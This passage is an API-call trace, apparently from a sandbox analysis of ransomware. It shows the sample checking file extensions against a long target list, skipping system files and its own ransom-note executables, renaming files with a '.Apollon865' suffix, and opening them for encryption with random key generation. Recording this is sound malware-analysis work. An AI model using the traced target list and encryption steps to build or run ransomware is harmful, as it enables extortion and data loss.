	[0088.793] lstrlenW (lpString="$er") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0088.793] lstrlenW (lpString="4dd") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0088.793] lstrlenW (lpString="4dl") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0088.793] lstrlenW (lpString="^^^") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0088.793] lstrlenW (lpString="abs") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0088.793] lstrlenW (lpString="abx") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0088.793] lstrlenW (lpString="accdb") returned 5
	[0088.793] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0088.793] lstrlenW (lpString="accdc") returned 5
	[0088.793] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0088.793] lstrlenW (lpString="accde") returned 5
	[0088.793] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0088.794] lstrlenW (lpString="accdr") returned 5
	[0088.794] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0088.794] lstrlenW (lpString="accdt") returned 5
	[0088.794] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0088.794] lstrlenW (lpString="accdw") returned 5
	[0088.794] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0088.794] lstrlenW (lpString="accft") returned 5
	[0088.794] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0088.794] lstrlenW (lpString="adb") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0088.794] lstrlenW (lpString="adb") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0088.794] lstrlenW (lpString="ade") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0088.794] lstrlenW (lpString="adf") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0088.794] lstrlenW (lpString="adn") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0088.794] lstrlenW (lpString="adp") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0088.794] lstrlenW (lpString="alf") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0088.794] lstrlenW (lpString="ask") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0088.794] lstrlenW (lpString="btr") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0088.794] lstrlenW (lpString="cat") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0088.794] lstrlenW (lpString="cdb") returned 3
	[0088.794] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0088.794] lstrlenW (lpString="ckp") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0088.795] lstrlenW (lpString="cma") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0088.795] lstrlenW (lpString="cpd") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0088.795] lstrlenW (lpString="dacpac") returned 6
	[0088.795] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0088.795] lstrlenW (lpString="dad") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0088.795] lstrlenW (lpString="dadiagrams") returned 10
	[0088.795] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0088.795] lstrlenW (lpString="daschema") returned 8
	[0088.795] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0088.795] lstrlenW (lpString="db-journal") returned 10
	[0088.795] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0088.795] lstrlenW (lpString="db-shm") returned 6
	[0088.795] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0088.795] lstrlenW (lpString="db-wal") returned 6
	[0088.795] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0088.795] lstrlenW (lpString="dbc") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0088.795] lstrlenW (lpString="dbs") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0088.795] lstrlenW (lpString="dbt") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0088.795] lstrlenW (lpString="dbv") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0088.795] lstrlenW (lpString="dbx") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0088.795] lstrlenW (lpString="dcb") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0088.795] lstrlenW (lpString="dct") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0088.795] lstrlenW (lpString="dcx") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0088.795] lstrlenW (lpString="ddl") returned 3
	[0088.795] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0088.796] lstrlenW (lpString="dlis") returned 4
	[0088.796] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0088.796] lstrlenW (lpString="dp1") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0088.796] lstrlenW (lpString="dqy") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0088.796] lstrlenW (lpString="dsk") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0088.796] lstrlenW (lpString="dsn") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0088.796] lstrlenW (lpString="dtsx") returned 4
	[0088.796] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0088.796] lstrlenW (lpString="dxl") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0088.796] lstrlenW (lpString="eco") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0088.796] lstrlenW (lpString="ecx") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0088.796] lstrlenW (lpString="edb") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0088.796] lstrlenW (lpString="epim") returned 4
	[0088.796] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0088.796] lstrlenW (lpString="fcd") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0088.796] lstrlenW (lpString="fdb") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0088.796] lstrlenW (lpString="fic") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0088.796] lstrlenW (lpString="flexolibrary") returned 12
	[0088.796] lstrlenW (lpString="fm5") returned 3
	[0088.796] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0088.796] lstrlenW (lpString="fmp") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0088.797] lstrlenW (lpString="fmp12") returned 5
	[0088.797] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0088.797] lstrlenW (lpString="fmpsl") returned 5
	[0088.797] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0088.797] lstrlenW (lpString="fol") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0088.797] lstrlenW (lpString="fp3") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0088.797] lstrlenW (lpString="fp4") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0088.797] lstrlenW (lpString="fp5") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0088.797] lstrlenW (lpString="fp7") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0088.797] lstrlenW (lpString="fpt") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0088.797] lstrlenW (lpString="frm") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0088.797] lstrlenW (lpString="gdb") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0088.797] lstrlenW (lpString="gdb") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0088.797] lstrlenW (lpString="grdb") returned 4
	[0088.797] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0088.797] lstrlenW (lpString="gwi") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0088.797] lstrlenW (lpString="hdb") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0088.797] lstrlenW (lpString="his") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0088.797] lstrlenW (lpString="ib") returned 2
	[0088.797] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0088.797] lstrlenW (lpString="idb") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0088.797] lstrlenW (lpString="ihx") returned 3
	[0088.797] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0088.798] lstrlenW (lpString="itdb") returned 4
	[0088.798] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0088.798] lstrlenW (lpString="itw") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0088.798] lstrlenW (lpString="jet") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0088.798] lstrlenW (lpString="jtx") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0088.798] lstrlenW (lpString="kdb") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0088.798] lstrlenW (lpString="kexi") returned 4
	[0088.798] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0088.798] lstrlenW (lpString="kexic") returned 5
	[0088.798] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0088.798] lstrlenW (lpString="kexis") returned 5
	[0088.798] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0088.798] lstrlenW (lpString="lgc") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0088.798] lstrlenW (lpString="lwx") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0088.798] lstrlenW (lpString="maf") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0088.798] lstrlenW (lpString="maq") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0088.798] lstrlenW (lpString="mar") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0088.798] lstrlenW (lpString="marshal") returned 7
	[0088.798] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0088.798] lstrlenW (lpString="mas") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0088.798] lstrlenW (lpString="mav") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0088.798] lstrlenW (lpString="maw") returned 3
	[0088.798] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0088.798] lstrlenW (lpString="mdbhtml") returned 7
	[0088.798] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0088.798] lstrlenW (lpString="mdn") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0088.799] lstrlenW (lpString="mdt") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0088.799] lstrlenW (lpString="mfd") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0088.799] lstrlenW (lpString="mpd") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0088.799] lstrlenW (lpString="mrg") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0088.799] lstrlenW (lpString="mud") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0088.799] lstrlenW (lpString="mwb") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0088.799] lstrlenW (lpString="myd") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0088.799] lstrlenW (lpString="ndf") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0088.799] lstrlenW (lpString="nnt") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0088.799] lstrlenW (lpString="nrmlib") returned 6
	[0088.799] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0088.799] lstrlenW (lpString="ns2") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0088.799] lstrlenW (lpString="ns3") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0088.799] lstrlenW (lpString="ns4") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0088.799] lstrlenW (lpString="nsf") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0088.799] lstrlenW (lpString="nv") returned 2
	[0088.799] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0088.799] lstrlenW (lpString="nv2") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0088.799] lstrlenW (lpString="nwdb") returned 4
	[0088.799] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0088.799] lstrlenW (lpString="nyf") returned 3
	[0088.799] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0088.799] lstrlenW (lpString="odb") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0088.800] lstrlenW (lpString="odb") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0088.800] lstrlenW (lpString="oqy") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0088.800] lstrlenW (lpString="ora") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0088.800] lstrlenW (lpString="orx") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0088.800] lstrlenW (lpString="owc") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0088.800] lstrlenW (lpString="p96") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0088.800] lstrlenW (lpString="p97") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0088.800] lstrlenW (lpString="pan") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0088.800] lstrlenW (lpString="pdb") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0088.800] lstrlenW (lpString="pdm") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0088.800] lstrlenW (lpString="pnz") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0088.800] lstrlenW (lpString="qry") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0088.800] lstrlenW (lpString="qvd") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0088.800] lstrlenW (lpString="rbf") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0088.800] lstrlenW (lpString="rctd") returned 4
	[0088.800] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0088.800] lstrlenW (lpString="rod") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0088.800] lstrlenW (lpString="rodx") returned 4
	[0088.800] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0088.800] lstrlenW (lpString="rpd") returned 3
	[0088.800] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0088.801] lstrlenW (lpString="rsd") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0088.801] lstrlenW (lpString="sas7bdat") returned 8
	[0088.801] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0088.801] lstrlenW (lpString="sbf") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0088.801] lstrlenW (lpString="scx") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0088.801] lstrlenW (lpString="sdb") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0088.801] lstrlenW (lpString="sdc") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0088.801] lstrlenW (lpString="sdf") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0088.801] lstrlenW (lpString="sis") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0088.801] lstrlenW (lpString="spq") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0088.801] lstrlenW (lpString="te") returned 2
	[0088.801] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0088.801] lstrlenW (lpString="teacher") returned 7
	[0088.801] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0088.801] lstrlenW (lpString="tmd") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0088.801] lstrlenW (lpString="tps") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0088.801] lstrlenW (lpString="trc") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0088.801] lstrlenW (lpString="trc") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0088.801] lstrlenW (lpString="trm") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0088.801] lstrlenW (lpString="udb") returned 3
	[0088.801] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0088.802] lstrlenW (lpString="udl") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0088.802] lstrlenW (lpString="usr") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0088.802] lstrlenW (lpString="v12") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0088.802] lstrlenW (lpString="vis") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0088.802] lstrlenW (lpString="vpd") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0088.802] lstrlenW (lpString="vvv") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0088.802] lstrlenW (lpString="wdb") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0088.802] lstrlenW (lpString="wmdb") returned 4
	[0088.802] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0088.802] lstrlenW (lpString="wrk") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0088.802] lstrlenW (lpString="xdb") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0088.802] lstrlenW (lpString="xld") returned 3
	[0088.802] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0088.802] lstrlenW (lpString="xmlff") returned 5
	[0088.802] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0088.802] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.Apollon865") returned 68
	[0088.802] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0088.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.804] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=80) returned 1
	[0088.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.805] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.805] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.806] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.806] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x15c
	[0088.808] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0088.809] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.809] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.809] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.810] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.810] CloseHandle (hObject=0x15c) returned 1
	[0088.810] CloseHandle (hObject=0x9c) returned 1
	[0088.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.810] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30434c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.810] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.810] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="..") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="windows") returned -1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="bootmgr") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="temp") returned -1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="pagefile.sys") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="boot") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="ids.txt") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="ntuser.dat") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="perflogs") returned 1
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="MSBuild") returned 1
	[0088.811] lstrlenW (lpString="Suggested Sites.url") returned 19
	[0088.811] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned 57
	[0088.811] lstrcpyW (in: lpString1=0x119e664, lpString2="Suggested Sites.url" | out: lpString1="Suggested Sites.url") returned="Suggested Sites.url"
	[0088.811] lstrlenW (lpString="Suggested Sites.url") returned 19
	[0088.811] lstrlenW (lpString="Apollon865") returned 10
	[0088.811] lstrcmpiW (lpString1=" Sites.url", lpString2="Apollon865") returned -1
	[0088.811] lstrlenW (lpString=".dll") returned 4
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".dll") returned 1
	[0088.811] lstrlenW (lpString=".lnk") returned 4
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".lnk") returned 1
	[0088.811] lstrlenW (lpString=".ini") returned 4
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".ini") returned 1
	[0088.811] lstrlenW (lpString=".sys") returned 4
	[0088.811] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".sys") returned 1
	[0088.811] lstrlenW (lpString="Suggested Sites.url") returned 19
	[0088.811] lstrlenW (lpString="bak") returned 3
	[0088.811] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.811] lstrlenW (lpString="ba_") returned 3
	[0088.811] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.811] lstrlenW (lpString="dbb") returned 3
